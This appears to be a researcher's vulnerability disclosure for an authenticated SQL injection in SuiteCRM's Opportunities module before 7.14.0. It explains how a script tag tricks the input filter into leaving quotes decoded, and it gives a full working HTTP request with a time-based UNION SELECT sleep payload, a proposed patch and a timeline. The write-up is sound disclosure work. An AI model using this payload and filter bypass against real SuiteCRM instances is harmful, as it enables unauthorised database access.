TL;DR
Authenticated SQL injection affecting the Opportunities
module of SuiteCRM for versions prior to 7.14.0
Details
At CrowdStrike, following claims from a threat actor to have hacked SuiteCRM at multiple entities using a SQL injection, I started a little audit of SuiteCRM to uncover whether the threat was realistic or not. Upon research, I stumbled on the modules/Opportunities/Save.php
file, in which we can find the following code:
1
2
3
require_once('modules/Opportunities/OpportunityFormBase.php');
$opportunityForm = new OpportunityFormBase();
$opportunityForm->handleSave('',true,false);
The handleSave
function may end up calling the clone_relationship
function, using the duplicate_parent_id
POST
variable as 4th argument:
Within the clone_relationship
function, a SQL query is created with this 4th argument, that could lead to SQL injection:
1
2
3
4
5
6
7
function clone_relationship(&$db, $tables, $from_column = null, $from_id = null, $to_id = null)
{
[...]
$query = "SELECT * FROM $table WHERE $from_column='$from_id'";
}
$results = $db->query($query);
[...]
At that point, several security measures prevent direct exploitation of this SQL injection:
- The
Save.php
file cannot be accessed directly due to a.htaccess
directive setting up a403 unauthorized access
on modules directory. - The
Save.php
requires a valid “SugarEntry” entrypoint, that gets defined by going through theindex.php
endpoint with theaction=Save
andmodule=Opportunities
parameters. However, doing so, thePOST
variables are filtered (quote gets encoded) against basic SQL injection through the use of theclean_incoming_data
function.
Yet, the clean_incoming_data
function can be tricked into leaving quotes unencoded, as highlighted by this previous bounty report. Yet, the inner working of this bypass was not explained.
Typically, the clean_incoming_data
function calls the inner securexss
function on each $_POST
value. This securexss
function first encodes quotes and then calls the xss_clean
function from Voku. This xss_clean
function decodes all characters present in the input string to clean; in order to detect and strip all the javascript related words afterwards. In case a javascript payload is detected by the function, then the cleaned up (and so decoded) string is returned. In case there is no payload detected, then the original string is returned (the encoded one). By integrating <script>
in the SQL payload, xss_clean
decodes the string (transform back the encoded quote to a decoded one), detect the attack and remove the <script>
tag before returning the string with the decoded quote.
Here is an example request showing SQL injection by triggering a 5 seconds sleep by SuiteCrm application:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /suitecrm/index.php HTTP/1.1
Host: <redacted>
Content-Length: 633
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: <redacted>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://<redacted>/suitecrm/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; Users_sp_tab=All; Opportunities_sp_tab=All; ck_login_language_20=en_us; ck_login_theme_20=SuiteP; sugar_user_theme=SuiteP; PHPSESSID=7t8i63rduuadi6vg2n5tsemrq9; ck_login_id_20=d1c6197a-c7cf-4d2f-6970-649c44bd341a
Connection: close
module=Opportunities&record=&duplicateSave=true&duplicate_parent_id=1</script>'%20UNION%20SELECT%20sleep(5),1,2,3,4,5%20--%20-&duplicateId=3005bd81-1904-8e56-d5f5-649d55cc7438&isDuplicate=false&action=Save&return_module=Opportunities&return_action=DetailView&return_id=&module_tab=&contact_role=&offset=1&name=test23&account_name=testaccount&account_id=9bf1efd4-30c2-9e99-067c-649d4e24e2bf¤cy_id=-99&date_closed=09%2F07%2F2023&amount=1%2C000%2C000.00&opportunity_type=&sales_stage=Prospecting&lead_source=&probability=10&campaign_name=&campaign_id=&next_step=&description=&assigned_user_name=gg+Administrator&assigned_user_id=1
Proposed patch
The following modifications were proposed to secure the vulnerability:
- Use
focus->db->quote
in front of the$_POST['duplicate_parent_id']
variable in theclone_relationship
call to make sure quotes are escaped -> implemented (commit) - Modify the
securexss
function to encode the string after thexss_clean
function call -> vendor argued testing was necessary before incorporating this change, which is understandable. Last time I checked it was not implemented.
Timeline
30 Jun 2023 : initial report 30 Jun 2023 : vendor confirmation 29 Aug 2023 : update available